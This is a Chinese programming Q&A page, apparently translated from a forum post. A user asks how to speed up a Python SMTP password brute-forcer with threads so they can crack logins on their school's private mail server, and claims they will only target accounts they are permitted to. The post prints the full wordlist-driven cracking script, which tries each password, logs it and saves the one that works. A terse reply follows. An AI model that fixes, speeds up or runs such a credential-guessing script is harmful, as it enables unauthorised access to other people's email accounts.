Parallel compute task to brute-force in python(并行计算任务在PYTHON中的强力执行)
本文介绍了并行计算任务在PYTHON中的强力执行的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
/*这不是为了任何非法的事情,只是我的学校只使用7个整数,我想看看我是否能及时解决这个问题,因为目前我需要1.59年才能破解密码。学校在现场有自己的私人服务器,任何人都可以使用,而且很容易被发现。我只会在他们允许的情况下对我或我的朋友这么做。*/
我只是想使用多进程或并发。期货来让这个密码破解程序在合理的时间内运行。
以下是我将其并列的尝试
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('myemail@private_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
这实际上只有当密码在第一行时才有效,它只输出我在那里写的指示符,就像print ("Got to here3")它不会打印破解的密码,甚至不会将其写入文本文件。
推荐答案
您尝试过
with ThreadPoolExecutor as exe:
exe.submit(conn)
您可能没有实际连接到服务器
这篇关于并行计算任务在PYTHON中的强力执行的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持编程学习网!
织梦狗教程
本文标题为:并行计算任务在PYTHON中的强力执行
基础教程推荐
猜你喜欢
- 在 Django Admin 中使用内联 OneToOneField 2022-01-01
- kivy 应用程序中的一个简单网页作为小部件 2022-01-01
- 比较两个文本文件以找出差异并将它们输出到新的文本文件 2022-01-01
- Python,确定字符串是否应转换为 Int 或 Float 2022-01-01
- Python 中是否有任何支持将长字符串转储为块文字或折叠块的 yaml 库? 2022-01-01
- Kivy 使用 opencv.调整图像大小 2022-01-01
- 对多索引数据帧的列进行排序 2022-01-01
- 究竟什么是“容器"?在蟒蛇?(以及所有的 python 容器类型是什么?) 2022-01-01
- matplotlib 设置 yaxis 标签大小 2022-01-01
- 在 Python 中将货币解析为数字 2022-01-01
